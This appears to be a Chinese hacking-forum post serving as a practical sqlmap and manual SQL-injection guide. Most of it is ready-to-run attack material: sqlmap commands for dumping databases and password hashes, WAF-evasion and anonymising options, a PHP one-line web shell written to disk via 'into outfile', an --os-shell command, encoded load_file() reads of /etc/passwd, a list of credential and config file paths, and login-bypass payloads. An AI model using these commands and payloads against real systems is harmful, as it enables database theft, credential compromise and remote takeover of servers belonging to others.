[工具使用] Sqlmap简单使用实操

535 0
Honkers 2026-6-6 04:45:48 来自手机 | 显示全部楼层 |阅读模式

学习自这位师傅的博客,如有侵权请联系我删除,感谢。

SQLmap使用教程图文教程(非常详细)从零基础入门到精通,看完这一篇就够了。-CSDN博客

前置

SQLmap

    一、目标
        1、指定url
        2、指定文件(批量检测)
        3、指定数据库/表/字段
        4、post请求
        5、cookie注入
    二、脱库
        1、获取数据库
        2、获取表
        3、获取字段
        4、获取字段类型
        5、获取值(数据)
        6、获取用户
        7、获取主机名
        8、搜索库、表、字段。
        9、正在执行的SQL语句
    三、WAF绕过
    三、其他

速通常用模块

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

  1. sqlmap -u 'http://xx/?id=1'
复制代码

2、查看所有「数据库」

  1. sqlmap -u 'http://xx/?id=1' --dbs
复制代码

3、查看当前使用的数据库

  1. sqlmap -u 'http://xx/?id=1' --current-db
复制代码

4、查看「数据表」

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --tables
复制代码

5、查看「字段」

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns
复制代码

6、查看「数据」

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
复制代码

一。目标

1.指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

  1. sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'
复制代码

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

-m 指定文件,可以「批量扫描」文件中的url。

  1. sqlmap -m urls.txt
复制代码

 

3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
复制代码

4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

  1. sqlmap -r bp.txt
复制代码

 

5、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

  1. sqlmap -u "http://xx?id=x" --cookie 'cookie'
复制代码

 

二、脱库

获取所有内容

  1. sqlmap -u 'http://xx/?id=1' -a
复制代码

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

  1. sqlmap -u 'http://xx/?id=1' -b
复制代码

 

1.2.获取当前使用的数据库

  1. sqlmap -u 'http://xx/?id=1' --current-db
复制代码

 

1.3、获取所有数据库

  1. sqlmap -u 'http://xx/?id=1' --dbs
复制代码

 2、获取表

--tables 获取表

2.1、获取表,可以指定数据库

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --tables
复制代码

2.2、同时获取多个库的表名,库名用逗号分隔。

  1. sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables
复制代码

2.3、不指定数据库,默认获取数据库中所有库的所有表。

  1. sqlmap -u 'http://xx/?id=1' --tables
复制代码

3、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns
复制代码

3.2、不指定表名,默认获取当前数据库中所有表的字段。

  1. sqlmap -u 'http://xx/?id=1' --columns
复制代码

4、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --schema
复制代码

5、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump
复制代码

6、获取用户

6.1、获取当前登录数据库的用户

  1. sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user
复制代码

6.2、获取所有用户

--users 获取数据库的所有用户名。

  1. sqlmap -u 'http://xx/?id=1' --users
复制代码

6.3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

  1. sqlmap -u 'http://xx/?id=1' --passwords
复制代码

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。 

  1. sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges
复制代码

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

  1. sqlmap -u 'http://xx/?id=1' --is-dba
复制代码

7、获取主机名

--hostname 获取服务器主机名。

  1. sqlmap -u 'http://xx/?id=1' --hostname
复制代码

8、搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --search
复制代码

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

也可以搜索表

  1. sqlmap -u 'http://xxx/?id=1' -T 'users' --search
复制代码

或者搜索字段

  1. sqlmap -u 'http://xx/?id=1' -C 'username' --search
复制代码

9、正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

  1. sqlmap -u 'http://xx/?id=1' --statements
复制代码

三、WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

  1. sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'
复制代码

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下: 

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。

三、其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

常用sqlmap语句 

  1. sqlmap -u 注入点 检测注入点是否可用
  2. sqlmap -u 注入点 --batch 自动输入
  3. #暴数据库
  4. sqlmap -u 注入点 --dbs
  5. Web当前使用的数据库
  6. sqlmap -u 注入点 --current-db
  7. Web数据库使用的账户
  8. sqlmap -u 注入点 --current-user
  9. 列出sqlserver所有用户
  10. sqlmap -u 注入点 --users
  11. 数据库账户与密码
  12. sqlmap -u 注入点 --passwords
  13. 列出数据库中的表
  14. sqlmap -u 注入点 -D tourdata --tables (-D指定数据库名称)
  15. 列出表中字段
  16. sqlmap -u 注入点 -D tourdata -T userb --columns
  17. 爆字段内容
  18. sqlmap -u注入点-D tourdata -T userb -C “email,username,userpassword” --dump (将结果导出)
  19. 指定导出特定范围字段内容
  20. sqlmap -u注入点-D tourdata -T userb -C “email,username,userpassword”--start 1 --stop 10 --dump (1,10行数)
  21. Cookie注入
  22. sqlmap -u “注入点” --cookie “id=97” --level 2
  23. sqlmap -u “注入点” --table --cookie “id=97” --level 2
  24. sqlmap -u “注入点” --columns -T “user” --cookie “id=97” --level 2
  25. sqlmap -u “注入点” --dump -C “username,password”--columns -T “user” --cookie “id=97” --level 2
  26. python sqlmap.py -u “注入点” -f --banner --dbs --users #可对以上参数进行结合使用
  27. 绕过防火墙注入
  28. 确认是否开了WAF
  29. Sqlmap -u “注入点” --thread 10 --identify-waf (首选)
  30. sqlmap -u “注入点” --thread 10 --check-waf 备选
  31. 使用参数绕过
  32. Sqlmap -u “注入点” --random-agent -v 2 (浏览器绕过)
  33. Sqlmap -u “注入点” --hpp -v 3 (参数污染绕过)
  34. Sqlmap -u “注入点” --delay=3.5 --time-sec=60
  35. Sqlmap -u “注入点” --proxy=xxx.xxx.xx.x.8080 --proxy-cred=211.:985 代理注入
  36. sqlmap -u “注入点” --ignore-proxy 禁止用代理注入,直接注入
  37. sqlmap -u “注入点” --flush-session 清空会话,重构注入
  38. sqlmap -u “注入点” -hex 或者--no-cast 进行字符码转换
  39. sqlmap -u “注入点” --mobile 对移动端的服务器进行注入
  40. sqlmap -u “注入点” --tor 匿名注入
  41. 脚本注入的格式
  42. sqlmap -u “注入点” --tamper=A.py,B.py A,B是脚本
复制代码

 

四.写马的条件(Root权限)

1、知道站点物理路径

2、有足够大的权限(可以用select …. from mysql.user测试)

3、magic_quotes_gpc()=OFF

  1. select '<?php eval($_POST[cmd])?>' into outfile '物理路径'
  2. and 1=2 union all select 一句话HEX值 into outfile '路径'
复制代码

load_file() 常用路径:

网站常用配置文件

config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
或者说网站存在可以直接爆出绝对路径的漏洞。

  1. 1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2. 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  3. 上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  4. 3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  5. 4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
  6. 5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
  7. 6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
  8. 7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  9. 8、d:\APACHE\Apache2\conf\httpd.conf
  10. 9、C:\Program Files\mysql\my.ini
  11. 10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
  12. 11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
  13. 12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  14. 13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  15. 14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  16. 15、 /etc/sysconfig/iptables 本看防火墙策略
  17. 16 、usr/local/app/php5 b/php.ini PHP 的相当设置
  18. 17 、/etc/my.cnf MYSQL的配置文件
  19. 18、 /etc/redhat-release 红帽子的系统版本
  20. 19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  21. 20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  22. 21、/usr/local/app/php5 b/php.ini //PHP相关设置
  23. 22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
  24. 23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  25. 24、c:\windows\my.ini
  26. 25、c:\boot.ini
复制代码

sqlmap写shell

  1. sqlmap -u "http://192.168.30.130:32768/Less-1/?id=1" --os-shell
复制代码

1选项,他会去尝试所有常见的路径

2选项,自定义路径

五.万能注入密码(post)

  1. 1.asp aspx万能密码
  2. 1:"or “a”="a
  3. 2: ')or(‘a’='a
  4. 3:or 1=1–
  5. 4:'or 1=1–
  6. 5:a’or’ 1=1–
  7. 6:"or 1=1–
  8. 7:‘or’a’='a
  9. 8:“or”="a’='a
  10. 9:‘or’‘=’
  11. 10:‘or’=‘or’
  12. 11:1 or ‘1’=‘1’=1
  13. 12:1 or ‘1’=‘1’ or 1=1
  14. 13: 'OR 1=1%00
  15. 14: "or 1=1%00
  16. 15:'xor
  17. 16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ‘’=’ (替换表名admin)
  18. 密码 1
  19. 17…admin’ or ‘a’='a 密码随便
  20. PHP万能密码
  21. 'or 1=1/*
  22. User: something
  23. Pass: ’ or ‘1’='1
  24. 2.万能密码(jsp)
  25. 1’or’1’='1
  26. admin’ or 1=1/*
复制代码

常用的sql手工注入方法-可结合sqlmap

1.url后插入

  1. and exists (select * from admin) #判断数据库为admin
  2. and exists (select admin from admin) #判断admin数据库有无admin表
  3. and exists (select password from admin) #判断admin数据库中有无password表
  4. and exitst (select top 1 len(admin)from admin)>1 #猜测字段长度
  5. and exists (select top 1 asc(mid(admin,1,1))from admin)>97 #猜解第一条记录的第一位字符的ASCII码为97
复制代码

2.手工联合查询:

  1. order by 3 #判断长度为3
  2. union select 1,2,3,4,5 *** from admin (长度为多少写多少) #联合查询
  3. 页面显示2和3 union select 1,admin,password,4,5,6,** #暴出用户名和密码
  4. ?id=xxx union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,password,17,18,19,20,21,22,23,24,25,26 from [D:/1.mdb].表名
复制代码

3.mysql数据库注入:

  1. 1.system_user() #系统用户名
  2. 2.user() #用户名
  3. 3.current_user() #当前用户名
  4. 4.session_user() #链接数据库的用户名
  5. 5.database() #数据库库名
  6. 6.version() #mysql数据库版本信息
  7. 7.load_file() #转换成16或10进制 读取本地文件
  8. 8.@@datadir #读取数据库路径
  9. 9.@@basedir #MYSQL安装路径
  10. 10.@@version_compile_os #操作系统
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行